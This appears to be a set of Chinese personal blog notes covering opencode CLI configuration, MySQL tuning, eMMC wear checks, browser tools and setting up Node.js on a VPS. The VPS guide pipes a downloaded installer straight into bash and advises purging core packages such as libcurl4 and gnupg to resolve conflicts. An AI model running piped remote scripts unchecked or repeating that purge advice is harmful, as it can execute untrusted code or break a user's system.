**全局配置**：`~/.config/opencode/opencode.json`

***

创建**项目级别** `opencode.json` 配置文件

进入项目目录（最好是项目根目录），创建/编辑 `opencode.json`

opencode 会从**当前目录往上**找 `opencode.json`，直到最近的 Git 目录为止；找到就用，能覆盖全局配置。

所以最稳的放置位置是：**项目根目录（git root）**。

**AGENTS.md 是 opencode 的“项目级指令文件”**。

* 它不是聊天记忆
* 也不是 AI 自动学习产生的东西
* 而是：**你明确写给 agent 的规则和背景说明**

只要 agent 在这个项目中运行：

* 每一次执行都会读取 AGENTS.md
* 把它当成“必须遵守的前提条件”

所以它**表现得像记忆，但本质是固定说明书**

没有 AGENTS.md 时，agent 往往会：不知道项目结构，随意选技术方案，改你不想动的代码，忽略测试 / 规范 / 约束

***

**配置文件**：opencode 在启动时会先在**当前目录**找配置文件，找不到就**一路向上遍历目录**，**最多遍历到最近的 Git 目录**（通常就是 repo root）为止

所以它的行为更像：**“以 Git 仓库为边界，找最近的项目配置”**，而不是无限向上找。

OpenCode 支持 **JSON 和 JSONC（带注释）** 格式。

**合并机制**：是 merge，不是 replace，配置会**合并**在一起：**不冲突的键都会保留**，**冲突的键按优先级覆盖**。

**优先级顺序**

标准顺序是：

1. **Remote（组织默认）**（最低）
2. **Global**：`~/.config/opencode/opencode.json`（覆盖 remote）
3. **Custom path**：`OPENCODE_CONFIG=/path/to/xxx.json`（夹在 global 和 project 之间）
4. **Project**：项目根目录的 `opencode.json`（最高，覆盖 global/remote）

***

**SKILL**

为每个技能名称创建一个文件夹，并在其中放置一个 `SKILL.md`。OpenCode 会搜索以下位置：

**项目配置**：`.opencode/skill/<name>/SKILL.md`

每个 `SKILL.md` 必须以 YAML frontmatter 开头。只识别以下字段：

* `name`（必需）
* `description`（必需）
* `license`（可选）
* `compatibility`（可选）
* `metadata`（可选，字符串到字符串的映射）

**未知的 frontmatter 字段会被忽略**。

***

在 timeline 中选中任意的对话记录后：

```markdown
Revert undo messages and file 
Copy message text to clipboard
Fork create a new session
```

**Revert undo messages and file** 相当于 **回滚/撤销**，会把会话状态回到“这条记录之前/对应的那个时刻”，不止回滚聊天消息，还会把 **当时 agent 对文件做的修改也一起撤回**（所以叫 messages and file）

**适合场景**：agent 改飞了、改多了，想回到某个“干净”的节点重新来

**注意点**：回滚后，**后面的那段历史通常就等于被你“作废/覆盖”了**

**Copy message text to clipboard** 就是 **复制这条消息文本** 到剪贴板，只复制“消息内容”（通常不包含文件 diff、附件、工具输出的完整结构）

适合：把某条 prompt / 输出贴到 PR、文档、群里，抽取一段命令/总结复用

**Fork create a new session** 相当于 **从这里分叉一个新会话**，新 session 会继承你在这条记录时的上下文/状态，但之后的对话会走新的分支，不影响原来的 session

适合：想尝试另一种方案，但不想破坏当前会话，同一个问题做 A/B 路线：比如“重构方案 A”和“方案 B”，这通常是最安全的“试错方式”：原 session 保底，新 session 放开试。

***

为重复任务创建自定义命令，自定义命令让你指定在 TUI 中执行该命令时要运行的提示，内置的命令如 `/init`、`/undo`、`/redo`、`/share`、`/help`等

创建 `.opencode/command/test.md`：

```markdown
<!-- .opencode/command/test.md -->
---
description: 运行带覆盖率的测试
agent: build
model: anthropic/claude-3-5-sonnet-20241022
---

运行完整的测试套件并生成覆盖率报告，显示任何失败。
专注于失败的测试并建议修复。
```

frontmatter 定义命令属性，内容成为模板，通过输入 `/` 后跟命令名称来使用命令。

**可以通过 OpenCode 配置或在 `command/` 目录中创建 markdown 文件来添加自定义命令**。

```json
{
  "$schema": "https://opencode.ai/config.json",
  "command": {
    // 这成为命令的名称
    "test": {
      // 这是将发送给 LLM 的提示
      "template": "运行完整的测试套件并生成覆盖率报告，显示任何失败。\n专注于失败的测试并建议修复。",
      // 这在 TUI 中显示为描述
      "description": "运行带覆盖率的测试",
      "agent": "build",
      "model": "anthropic/claude-3-5-sonnet-20241022"
    }
  }
}
```

使用 `$ARGUMENTS` 占位符向命令传递参数。

```markdown
<!-- .opencode/command/component.md -->
---
description: 创建新组件
---

创建一个名为 $ARGUMENTS 的新 React 组件，支持 TypeScript。
包含适当的类型和基本结构。
```

```bash
/component Button
```

`$ARGUMENTS` 将被替换为 `Button`。

也可以使用位置参数访问单个参数：

* `$1` - 第一个参数
* `$2` - 第二个参数
* `$3` - 第三个参数
* 以此类推…

当 markdown 提示文件的内容需要执行命令后才知道，可以使用 ! `command` 将 bash 命令 输出注入到提示中。

例如，创建一个分析测试覆盖率的自定义命令：

复制

```markdown
<!-- .opencode/command/analyze-coverage.md -->
---
description: 分析测试覆盖率
---

以下是当前的测试结果：
!`npm test`

根据这些结果，建议改进以提高覆盖率。
```

或者审查最近的更改：

```markdown
<!-- .opencode/command/review-changes.md -->
---
description: 审查最近的更改
---

最近的 git 提交：
!`git log --oneline -10`

审查这些更改并建议任何改进。
```

命令在项目的根目录运行，其输出成为提示的一部分。

使用 `@` 后跟文件名在命令中包含文件。

```markdown
<!-- .opencode/command/review-component.md -->
---
description: 审查组件
---

审查 @src/components/Button.tsx 中的组件。
检查性能问题并建议改进。
```

文件内容会自动包含在提示中。

***

opencode.json

```json
{
  "$schema": "https://opencode.ai/config.json",
  "model": "claude-opus-4-5",
  "provider": {
    "anthropic": {
      "options": {
        "baseURL": "https://api.jiekou.ai/anthropic",
        "apiKey": ""
      }
    },
    "openai": {
      "options": {
        "baseURL": "https://api.jiekou.ai/openai/v1",
        "apiKey": ""
      }
    },
    "gemini": {
      "options": {
        "baseURL": "https://api.jiekou.ai/openai/v1",
        "apiKey": "",
      },
      "models": {
        "antigravity-claude-opus-4-5-thinking": {
          "name": "Claude Opus 4.5 Thinking (Antigravity)",
          "limit": { "context": 200000, "output": 64000 },
          "modalities": { "input": ["text", "image", "pdf"], "output": ["text"] },
          "variants": {
            "low": { "thinkingConfig": { "thinkingBudget": 8192 } },
            "max": { "thinkingConfig": { "thinkingBudget": 32768 } }
          }
        },
        "gemini-2.5-flash": {
          "name": "Gemini 2.5 Flash (Gemini CLI)",
          "limit": { "context": 1048576, "output": 65536 },
          "modalities": { "input": ["text", "image", "pdf"], "output": ["text"] }
        },
        "gemini-2.5-pro": {
          "name": "Gemini 2.5 Pro (Gemini CLI)",
          "limit": { "context": 1048576, "output": 65536 },
          "modalities": { "input": ["text", "image", "pdf"], "output": ["text"] }
        },
        "gemini-3-flash-preview": {
          "name": "Gemini 3 Flash Preview (Gemini CLI)",
          "limit": { "context": 1048576, "output": 65536 },
          "modalities": { "input": ["text", "image", "pdf"], "output": ["text"] }
        },
        "gemini-3-pro-preview": {
          "name": "Gemini 3 Pro Preview (Gemini CLI)",
          "limit": { "context": 1048576, "output": 65535 },
          "modalities": { "input": ["text", "image", "pdf"], "output": ["text"] }
        }
      }
    }
  },
  // "plugin": ["oh-my-opencode", "opencode-antigravity-auth@beta"]
}
```

[oh-my-opencode.json](https://github.com/code-yeongyu/oh-my-opencode)

```json
{
  "$schema": "https://raw.githubusercontent.com/code-yeongyu/oh-my-opencode/master/assets/oh-my-opencode.schema.json",
  "agents": {
    "librarian": {
      "model": "opencode/glm-4.7-free"
    },
    "explore": {
      "model": "opencode/grok-code"
    },
    "oracle": {
      "model": "openai/gpt-5.2"
    },
    "frontend-ui-ux-engineer": {
      "model": "gemini/gemini-3-pro-preview"
    },
    "document-writer": {
      "model": "gemini/gemini-3-flash"
    },
    "multimodal-looker": {
      "model": "gemini/gemini-3-flash"
    }
  }
}
```

可以输入`@` 然后选择智能体开始干活

在提示词内加上 `ulw` ，它会在干活的时候尽可能的调用它一切的潜能，把任务分配给几个智能体，并且并行运行

输入 `/ralph-loop` ，这个模式可以强制 AI 长时间的循环，对一个非常难的任务进行持续的工作

***

**MCP 加得越多 ≠ 一定越聪明；过多 MCP 很容易烧钱 + 吃上下文 + 降稳定性。**

在 opencode CLI 里，每一个 MCP server，本质都会做几件事之一（或多件）：

* 注入 **system / tool 级别的说明**
* 暴露 **工具 schema（JSON）**
* 在调用时返回 **结构化 or 非结构化内容**
* 有些 MCP 还会在 **启动或对话初期主动提供背景信息**

这些东西都会进入：

* prompt tokens
* tool call tokens
* tool response tokens

**全都算钱，也全都占上下文窗口。**

***

[open code MCP 服务器](https://opencode.ai/docs/mcp-servers/)

***

AI API 中转商/提供商，在 OpenCode 的配置

**只要它是 OpenAI 协议兼容（最常见），就按 openai-compatible 的方式配**。

```json
{
  "$schema": "https://opencode.ai/config.json",
  "provider": {
    "myrelay": {
      "npm": "@ai-sdk/openai-compatible",
      "name": "My Relay",
      "options": {
        "baseURL": "https://YOUR-RELAY-DOMAIN/v1",
        "apiKey": "YOUR_KEY_HERE"
      },
      "models": {
        "gpt-4o": { "name": "GPT-4o via relay" },
        "gpt-4o-mini": { "name": "GPT-4o-mini via relay" }
      }
    }
  }
}
```

---

---
url: /posts/3pzl5j5f/index.md
---
## clash-verge 默认全局扩展覆写配置

```yaml
- DOMAIN,blog.yumeng.icu,DIRECT
- DOMAIN,api.yumeng.icu,DIRECT
- DOMAIN,www.yumeng.icu,DIRECT
- DOMAIN,yumeng.icu,DIRECT
- DOMAIN,pimg.yumgjs.com,DIRECT
- DOMAIN,chat.yumeng.icu,DIRECT
- DOMAIN,inter.yumeng.icu,DIRECT
- DOMAIN,api-gemini.yumeng.icu,DIRECT
- DOMAIN,gemini.yumeng.icu,DIRECT
- DOMAIN,mini.yumeng.icu,DIRECT
- DOMAIN,nest.yumeng.icu,DIRECT
- DOMAIN,panel.yumeng.icu,DIRECT
- DOMAIN,dev.yumeng.icu,DIRECT
- DOMAIN,me.yumeng.icu,DIRECT
- DOMAIN,alist.yumeng.icu,DIRECT
- DOMAIN,server.yumeng.icu,DIRECT
- DOMAIN,cloud.yumeng.icu,DIRECT
```

## 我的浏览器插件

| 名称                     | 地址                                                       | 用途                                                         |
| ------------------------ | ---------------------------------------------------------- | ------------------------------------------------------------ |
| SingleFile               | https://github.com/gildas-lormeau/SingleFile               | 用于将完整网页的忠实副本保存在单个HTML文件中的Web扩展        |
| uBlock                   | https://github.com/gorhill/uBlock                          | 高效广告拦截器，又快又瘦。                                   |
| BewlyBewly               | https://github.com/BewlyBewly/BewlyBewly                   | 用于 BiliBili 的浏览器扩展，旨在通过重新设计 BiliBili 用户界面来提升用户体验。 |
| PocketTube               | 应用商店                                                   | YouTube 订阅分组到 YouTube 文件夹中                          |
| Screenshot YouTube       | 应用商店                                                   | 一键截取任何 YouTube 视频的屏幕截图。                        |
| Youtube-shorts block     | 应用商店                                                   | 像播放普通视频一样播放 Youtube 短片视频。                    |
| YouTube迷你播放器        | 应用商店                                                   | YouTube迷你播放器：激活YouTube画中画功能，使用简单的YouTube迷你播放器按钮。 |
| Vue.js devtools          | 应用商店                                                   | 适用于 Vue.js 的 DevTools 浏览器扩展                         |
| 沉浸式翻译               | https://github.com/immersive-translate/immersive-translate | 沉浸式双语网页翻译扩展                                       |
| 猫抓                     | https://github.com/xifangczy/cat-catch                     | 浏览器资源嗅探扩展，筛选列出当前页面的资源。                 |
| 篡改猴                   | https://www.tampermonkey.net/                              | 向网页添加新功能或修改现有功能                               |
| SponsorBlock for YouTube | 应用商店                                                   | 跳过 YouTube 视频中的赞助广告、订阅提醒等片段。标记视频中的赞助广告来节约大家的时间。 |

## Chrome快捷键

**标签页和窗口操作**

| 快捷键                                   | 功能                                   |
| ---------------------------------------- | -------------------------------------- |
| `Ctrl + T`                               | 打开新标签页                           |
| `Ctrl + W`                               | 关闭当前标签页                         |
| `Ctrl + Shift + T`                       | 重新打开最近关闭的标签页（可多次使用） |
| `Ctrl + N`                               | 打开新窗口                             |
| `Ctrl + Shift + N`                       | 以隐身模式打开新窗口                   |
| `Ctrl + Tab` 或 `Ctrl + Page Down`       | 切换到右侧下一个标签页                 |
| `Ctrl + Shift + Tab` 或 `Ctrl + Page Up` | 切换到左侧上一个标签页                 |
| `Ctrl + 1` 到 `Ctrl + 8`                 | 切换到指定序号的标签页（第1到第8个）   |
| `Ctrl + 9`                               | 切换到最后一个标签页                   |
| `Alt + Home`                             | 打开主页                               |
| `Alt + F4`                               | 关闭当前窗口                           |

**网页浏览**

| 快捷键                                | 功能                             |
| ------------------------------------- | -------------------------------- |
| `Alt + 左箭头` 或 `Backspace`         | 返回上一页                       |
| `Alt + 右箭头` 或 `Shift + Backspace` | 前进下一页                       |
| `F5` 或 `Ctrl + R`                    | 重新加载当前页面                 |
| `Ctrl + F5` 或 `Shift + F5`           | 强制重新加载当前页面（忽略缓存） |
| `Esc`                                 | 停止页面加载                     |
| `Ctrl + L` 或 `Alt + D` 或 `F6`       | 定位到地址栏并选中当前 URL       |
| `Ctrl + K` 或 `Ctrl + E`              | 定位到地址栏进行搜索             |
| `Ctrl + P`                            | 打印当前页面                     |
| `Ctrl + S`                            | 将当前页面另存为                 |
| `F11`                                 | 切换全屏模式                     |
| `Ctrl + F` 或 `F3`                    | 在当前页面中查找                 |
| `Ctrl + G` 或 `Enter`                 | 查找下一个匹配项                 |
| `Ctrl + Shift + G` 或 `Shift + Enter` | 查找上一个匹配项                 |
| `Spacebar`                            | 向下滚动一屏                     |
| `Shift + Spacebar`                    | 向上滚动一屏                     |
| `Home`                                | 滚动到页面顶部                   |
| `End`                                 | 滚动到页面底部                   |

**缩放**

| 快捷键            | 功能                     |
| ----------------- | ------------------------ |
| `Ctrl + 加号 (+)` | 放大页面                 |
| `Ctrl + 减号 (-)` | 缩小页面                 |
| `Ctrl + 0`        | 将页面缩放重置为默认大小 |

**书签、历史记录和下载**

| 快捷键             | 功能                         |
| ------------------ | ---------------------------- |
| `Ctrl + D`         | 将当前页面添加为书签         |
| `Ctrl + Shift + D` | 将所有打开的标签页添加为书签 |
| `Ctrl + J`         | 打开下载内容页               |
| `Ctrl + H`         | 打开历史记录页               |
| `Ctrl + Shift + B` | 显示/隐藏书签栏              |

**开发者工具和高级功能**

| 快捷键                      | 功能                         |
| --------------------------- | ---------------------------- |
| `Ctrl + Shift + I` 或 `F12` | 打开开发者工具               |
| `Ctrl + Shift + J`          | 打开开发者工具的控制台       |
| `Ctrl + Shift + C`          | 打开开发者工具并选择元素     |
| `Ctrl + Shift + Del`        | 打开清除浏览数据对话框       |
| `Ctrl + Shift + M`          | 切换用户档案（多用户模式）   |
| `Ctrl + Shift + Q`          | 退出 Chrome（Windows/Linux） |
| `Shift + Esc`               | 打开 Chrome 任务管理器       |

**Mac 用户注意事项**：

将 `Ctrl` 替换为 `Command (⌘)`。

将 `Alt` 替换为 `Option (⌥)`。

## 免费资源

**Neon vs Supabase 简明对比总结**

| 特点           | Neon                                          | Supabase                                   |
| -------------- | --------------------------------------------- | ------------------------------------------ |
| **定位**       | 专注于 PostgreSQL 云数据库服务                | 一体化后端平台（数据库+API+存储+鉴权）     |
| **数据库类型** | 纯 PostgreSQL                                 | PostgreSQL + 额外服务                      |
| **免费额度**   | 500MB 存储，按需计费，自动休眠                | 500MB 存储，1GB 文件存储，200K API 请求/月 |
| **计算资源**   | Serverless 按需分配 CPU 资源                  | 长连接数据库，常驻资源                     |
| **连接数**     | 支持多数据库连接及连接池管理                  | 标准 PostgreSQL 连接                       |
| **API 支持**   | 主要是数据库层（支持 HTTP API，GraphQL 较弱） | 自带 REST API、GraphQL、Edge Functions     |
| **易用性**     | 适合数据库工程师及专注数据库的场景            | 适合全栈开发者，快速构建完整后端           |
| **存储扩展**   | 需要付费扩展                                  | 免费1GB对象存储，适合存储文件              |
| **功能特色**   | 支持数据库分支、时间旅行（快照）等高级特性    | 提供鉴权、存储、实时订阅等完整生态         |
| **适合场景**   | 需要纯粹、高性能、灵活扩展的 Postgres         | 需要快速搭建项目后端，集成更多功能         |

如果你**只想用数据库**，且关注**自动弹性伸缩、分支管理、时间旅行**这些数据库层特性，**Neon 更适合**。

如果你想快速用一个**集成了鉴权、存储、API 生成等功能的后端平台，开发效率高**，那么**Supabase 更适合**。

两者免费额度都大约是**500MB数据库存储**，但 Supabase 还额外带有文件存储和 API 请求配额。

你也可以**混用**：用 Neon 作为数据库核心，Supabase 用来做文件存储或鉴权等功能。

| 服务类型 | 推荐平台                                 | 理由                       |
| -------- | ---------------------------------------- | -------------------------- |
| 主数据库 | Supabase、Neon、Railway                  | 免费额度充足，专注数据库   |
| 缓存层   | ClawCloud Redis                          | 用作轻量缓存，解压主库     |
| API 服务 | ClawCloud Run / Vercel                   | 前后端项目分散部署         |
| 文件存储 | Cloudflare R2 / ClawCloud Object Storage | 存储静态文件，减少后端压力 |

## Typora插件快捷插入配置

```toml
    { enable = true, type = "snippet", icon = "📝", hint = "code highlight", keyword = "code highlight", callback = "// [!code highlight]",scope="code" },
    { enable = true, type = "snippet", icon = "📝", hint = "code focus", keyword = "code focus", callback = "// [!code focus]" },
    { enable = true, type = "snippet", icon = "📝", hint = "code --", keyword = "code --", callback = "// [!code --]" },
    { enable = true, type = "snippet", icon = "📝", hint = "code ++", keyword = "code ++", callback = "// [!code ++]" },
    { enable = true, type = "snippet", icon = "📝", hint = "code error", keyword = "code error", callback = "// [!code error]" },
    { enable = true, type = "snippet", icon = "📝", hint = "code warning", keyword = "code warning", callback = "// [!code warning]" },
    { enable = true, type = "snippet", icon = "📝", hint = "code group", keyword = "code group", callback = "::: code-group\n\n:::" },
    { enable = true, type = "snippet", icon = "📝", hint = "NOTE", keyword = "NOTE", callback = "> [!NOTE]\n>" },
    { enable = true, type = "snippet", icon = "💡", hint = "TIP", keyword = "TIP", callback = "> [!TIP]\n>" },
    { enable = true, type = "snippet", icon = "❗", hint = "IMPORTANT", keyword = "IMPORTANT", callback = "> [!IMPORTANT]\n>" },
    { enable = true, type = "snippet", icon = "⚠️", hint = "WARNING", keyword = "WARNING", callback = "> [!WARNING]\n>" },
    { enable = true, type = "snippet", icon = "☢️", hint = "CAUTION", keyword = "CAUTION", callback = "> [!CAUTION]\n>" },
    { enable = true, type = "snippet", icon = "🕸", hint = "BUG", keyword = "BUG", callback = "> [!BUG]" },
    { enable = true, type = "snippet", icon = "📘", hint = "INFO", keyword = "INFO", callback = "> [!INFO]" },
    { enable = true, type = "snippet", icon = "❌", hint = "FAILURE", keyword = "FAILURE", callback = "> [!FAILURE]" },
    { enable = true, type = "snippet", icon = "✔", hint = "SUCCESS", keyword = "SUCCESS", callback = "> [!SUCCESS]" },
    { enable = true, type = "snippet", icon = "❓", hint = "QUESTION", keyword = "QUESTION", callback = "> [!QUESTION]" },
    { enable = true, type = "snippet", icon = "📘", hint = "vitepress info", keyword = "VPInfo", callback = "::: info\n\n:::" },
    { enable = true, type = "snippet", icon = "💡", hint = "vitepress tip", keyword = "VPTip", callback = "::: tip\n\n:::" },
    { enable = true, type = "snippet", icon = "⚠️", hint = "vitepress warning", keyword = "VPWarning", callback = "::: warning\n\n:::" },
    { enable = true, type = "snippet", icon = "🔥", hint = "vitepress danger", keyword = "VPDanger", callback = "::: danger\n\n:::" },
    { enable = true, type = "snippet", icon = "📂", hint = "vitepress details", keyword = "VPDetails", callback = "::: details\n\n:::" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePress马克笔,tip,info,note,warning,danger,caution,important", keyword = "VueMark", callback = "== ==" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePress缩略词", keyword = "VueAbbr", callback = "*[]:" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePressPDF,no-toolbar不显示工具栏,width,height,ratio,zoom", keyword = "VuePDF", callback = "@[pdf 页码](url)" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePressBilibili", keyword = "VueBiliBili", callback = "@[bilibili](bvid)" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePressArtPlayer", keyword = "VueArtPlayer", callback = "@[artPlayer](src)" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePressAcFun", keyword = "VueAcFun", callback = "@[acfun](id)" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePress选项组", keyword = "VueTabs", callback = "::: tabs\n@tab 标题\n\n内容\n@tab 标题\n\n内容\n:::" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePress步骤", keyword = "VueSteps", callback = ":::steps\n1. 步骤 1\n\n2. 步骤 2\n\n3. 步骤 3\n\n:::" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePress内容注释,其他地方使用[+label]", keyword = "VueAnnotation", callback = "[+label]:注释" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePress隐蔽文字,click,hover,mask,blur", keyword = "VuePlot", callback = "!! !!{.}" },
    { enable = true, type = "snippet", icon = "📦", hint = "VuePress折叠板,accordion,expand", keyword = "VueCollapse", callback = "::: collapse\n- :+ 标题 1\n\n  正文内容\n\n- :- 标题 2\n\n  正文内容\n\n:::" },
```

### Mysql配置

```ini
[mysqld]
host-cache-size=0
skip-name-resolve
datadir=/var/lib/mysql
socket=/var/run/mysqld/mysqld.sock
secure-file-priv=/var/lib/mysql-files
user=mysql

pid-file=/var/run/mysqld/mysqld.pid
[client]
socket=/var/run/mysqld/mysqld.sock

!includedir /etc/mysql/conf.d/
```

新配置

专为 4H4G 小型 VPS 优化的 MySQL 轻量均衡配置

```ini
[mysqld]
############################################
# 基础路径 / 权限（沿用你原来的）
############################################
host-cache-size=0
skip-name-resolve

datadir=/var/lib/mysql
socket=/var/run/mysqld/mysqld.sock
secure-file-priv=/var/lib/mysql-files
user=mysql
pid-file=/var/run/mysqld/mysqld.pid

############################################
# 连接与线程（防止连接一多直接爆内存）
############################################
max_connections=80          # 够用且安全；后端+Umami一般不需要几百连接
thread_cache_size=32        # 复用线程，减少频繁创建开销
wait_timeout=300            # 5分钟空闲断开（Web场景更合适）
interactive_timeout=300

############################################
# InnoDB（核心：控制内存 + 保证写入体验）
############################################
default_storage_engine=InnoDB

# 4G VPS 推荐 512M 起步：既省内存又能吃下统计/轻量业务的热数据
innodb_buffer_pool_size=512M
innodb_buffer_pool_instances=1   # buffer pool < 1G 时用 1 个实例更合适

innodb_log_file_size=256M        # 写入稍多时更稳，减少 checkpoint 压力
innodb_log_buffer_size=32M
innodb_flush_method=O_DIRECT     # 减少双缓存（更省内存波动）
innodb_file_per_table=1          # 每表单独文件，维护/回收空间更友好

# 写入策略：性能与安全折中（线上很常见）
# 1=最安全但更慢；2=性能更好、断电可能丢1秒内事务（大多数业务可接受）
innodb_flush_log_at_trx_commit=2

############################################
# 临时表 / 排序 buffer（这些是“每连接”可能叠加的，别给太大）
############################################
tmp_table_size=64M
max_heap_table_size=64M

sort_buffer_size=2M
join_buffer_size=2M
read_buffer_size=1M
read_rnd_buffer_size=1M

############################################
# 表缓存（你之前 opened tables 较多，适当给点，但别爆）
############################################
table_open_cache=1024
table_definition_cache=1024

############################################
# 复制/二进制日志（你如果不做主从，一般可以关，省磁盘/IO）
# 注意：关掉 binlog 影响基于 binlog 的恢复/审计/主从
############################################
# skip-log-bin

# 如果你决定保留 binlog（比如以后可能做主从），就用下面这套折中策略：
sync_binlog=0

############################################
# 性能统计（省内存；需要排查性能再临时打开也行）
############################################
performance_schema=OFF

############################################
# 字符集（避免奇怪乱码；新库新表默认 UTF8MB4）
############################################
character-set-server=utf8mb4
collation-server=utf8mb4_unicode_ci

############################################
# 日志（错误日志路径不同发行版可能不一样；不确定就先不写死）
############################################
# log_error=/var/log/mysql/error.log

[client]
socket=/var/run/mysqld/mysqld.sock
default-character-set=utf8mb4

# （你原来有 includedir，如果你确实要“只用这个文件”，可以先注释掉）
# !includedir /etc/mysql/conf.d/
```

---

---
url: /posts/4eqr428u/index.md
---
# 小册子
## 代码拆分和预取

Next.js 会自动进行代码拆分，因此每个页面只加载该页面所需的内容。这意味着在呈现主页时，最初不会提供其他页面的代码。

这可确保即使您添加数百个页面，主页也能快速加载。

仅加载您请求的页面的代码也意味着页面变得孤立。如果某个页面抛出错误，应用程序的其余部分仍将正常工作。

此外，在 Next.js 的生产版本中，每当 `Link` 组件出现在浏览器的视口中时，Next.js 会自动在后台预 **取** 链接页面的代码。当您单击链接时，目标页面的代码已经在后台加载，并且页面转换将几乎是即时的！

***

**重要：** 要使用 [CSS 模块 ](https://www.nextjs.cn/docs/basic-features/built-in-css-support#adding-component-level-css)，CSS 文件名必须以 `.module.css` 结尾。

---

---
url: /posts/56mcbt8v/index.md
---
# 寿命与写入
**eMMC 是一颗带控制器的闪存芯片**（类似“手机存储”），不是机械硬盘。

eMMC 的寿命主要取决于：**总写入量**（写得越多，磨损越快）。

eMMC 内部有 **磨损均衡（wear leveling）**：会把写入分散到整颗芯片的块池里，避免局部先坏。

**分区/目录不等于独立寿命**，写 `/var/log` 1GB 和写 `/home` 1GB，本质上都是在消耗 **整颗 eMMC** 的写入寿命（只是写入路径不同）。

机器看到的：物理盘：`/dev/mmcblk1`（整颗 eMMC）

分区：`mmcblk1p1`（/boot）、`mmcblk1p2`（/）

`/var/log` 通常只是 `/` 分区里的一个目录（不是单独分区）

**分区只是“逻辑切分空间”**，不代表 eMMC 内部有“互不干扰的寿命区”。

***

eMMC 通常通过 JEDEC 字段给出“寿命档位”和“预警”。

**Life Time（磨损档位）**

**当前**：`life_time == 0x01 0x01`

含义（粗略区间，不是精确百分比）：

* `0x01`：已用 0–10%
* `0x02`：10–20%
* `0x03`：20–30%
* …
* `0x0A`：90–100%
* `0x0B`：可能已超规格寿命（高风险）
* `0x00`：不支持/未知

两位通常对应 **Type A / Type B** 两种口径的寿命估算（厂商实现略有差别，但都能看作磨损桶位）。

**Pre EOL（预警）**

**当前**：`pre_eol_info == 0x01`

含义：

* `0x01`：正常（不接近寿命末期）
* `0x02`：预警（接近寿命末期）
* `0x03`：紧急（寿命末期，建议尽快迁移/更换）

***

**zram = 用内存模拟的磁盘（压缩的），断电即消失**

**zram = 用 RAM 做一个压缩块设备**（像“内存盘”），写入发生在内存里，**不会写到 eMMC**，重启后内容消失（正常）

**当前**：

* `zram0`：SWAP
* `zram1`：挂载到 `/var/log`

这意味着：

* **swap 不会频繁写 eMMC**
* **系统日志不再频繁写 eMMC**

这两项通常是 SBC 上最常见的“磨盘大户”，现在已经躲开了。

***

**常用检查命令清单**

看磁盘/分区/挂载

```bash
lsblk -o NAME,SIZE,TYPE,MOUNTPOINT,MODEL
```

看 eMMC 寿命（已支持 sysfs 读取）

```bash
cat /sys/block/mmcblk1/device/life_time
cat /sys/block/mmcblk1/device/pre_eol_info
```

看 zram 是否在用

```bash
lsblk | grep -i zram
mount | grep -E "/var/log|zram"
swapon --show
```

更完整的 eMMC 信息（可选，需 mmc-utils）

```bash
apt update
apt install -y mmc-utils
mmc extcsd read /dev/mmcblk1 | egrep -i "PRE_EOL_INFO|DEVICE_LIFE_TIME_EST_TYP_A|DEVICE_LIFE_TIME_EST_TYP_B"
```

---

---
url: /posts/5flr0t26/index.md
---
## 购买

选择一个合适的服务器购买，在买的时候会**设置密码**，完成后等待一会服务器启动就可以连接了，可以使用浏览器的**VNC控制台**，但是推荐自己本地电脑下一个SSH工具，因为浏览器的控制台是在太卡了😂

推荐使用：堡塔SSH终端软件https://www.bt.cn/new/product\_ssh.html

当然**PuTTY**也行：https://www.putty.org/

## 环境搭建

**更新系统软件**

```bash
apt update && apt upgrade -y
```

**安装 Node.js**

```bash
curl -fsSL https://deb.nodesource.com/setup_18.x | bash -
```

在安装的时候出现了**软件包依赖冲突**，导致安装不了 Node.js 18.x，我的系统是Ubuntu 24.04

网上说因为系统中有多个软件包版本冲突（如 libcurl4、gnupg、libc6 等），或者Ubuntu 24.04 默认软件源可能不完全兼容 Node.js 18.x 的依赖

修复的办法是：

**修复损坏的依赖关系**，

```bash
apt --fix-broken install
apt update
apt upgrade -y
```

**清理冲突的软件包**

```bash
apt autoremove
apt purge libcurl4 gnupg libc6-dev
apt install -f
```

**改用 NodeSource 的 Ubuntu 24.04 专用源**

```bash
# 先卸载旧版本Node.js（如有）
apt remove --purge nodejs npm

# 安装Node.js 18.x（兼容Ubuntu 24.04）
curl -fsSL https://deb.nodesource.com/setup_18.x | bash -
apt-get install -y nodejs
```

**验证安装**

```bash
node -v
npm -v
```

**即可解决**

## Node.js 环境

```bash
mkdir my-node-app
cd my-node-app

npm init -y          # 生成 package.json
npm install express  # 安装 Express 框架
```

用命令行创建文件 `app.js`

```bash
nano app.js
```

```js
const express = require('express');
const app = express();
const port = 3000;

// 返回一个网页
app.get('/', (req, res) => {
  res.send(`
    <h1>Hello World! 🚀</h1>
    <p>这是我的第一个Node.js网站</p>
    <a href="/api">点我访问API</a>
  `);
});

// 返回JSON数据
app.get('/api', (req, res) => {
  res.json({ message: "你好，这是API！", status: 200 });
});

// 启动服务器
app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});
```

按 `Ctrl + X` → 输入 `Y` → 回车保存。

```bash
node app.js
```

先在另一个终端测试一下：

```bash
curl http://localhost:3000
```

## 开放外网访

```bash
# 开放防火墙（Ubuntu）
ufw allow 3000/tcp
ufw enable
```

在云平台控制台：找到服务器 -> 防火墙/安全组，添加入站规则：允许TCP 3000端口

此时在外网即可通过`http://你的服务器IP:3000`访问了

为了保持进程运行：

```bash
npm install pm2 -g
pm2 start app.js --name "my-app"
pm2 save
pm2 startup  # 设置开机自启
```

## 踩坑

### 防火墙

**盲目的开启防护墙可能导致中断SSH连接**

使用`ufw enable`启用防护墙的时候可能会中断 **当前的SSH连接**

先确保SSH端口已允许（例如22端口）`ufw status`，如果输出中包含 `22/tcp ALLOW`，就可以正常启用防护墙了

但是**未放行SSH端口**，**先开放SSH端口**，再启用防火墙

```bash
ufw allow 22/tcp  # 如果是自定义端口，替换为实际端口号
ufw enable
# 应该输出（有22端口即可）

To         Action  From
--         ------  -----
22/tcp     ALLOW   Anywhere
3000/tcp   ALLOW   Anywhere
22/tcp (v6) ALLOW  Anywhere (v6)
3000/tcp (v6) ALLOW Anywhere (v6)


ufw enable  # 此时才可安全输入y
```

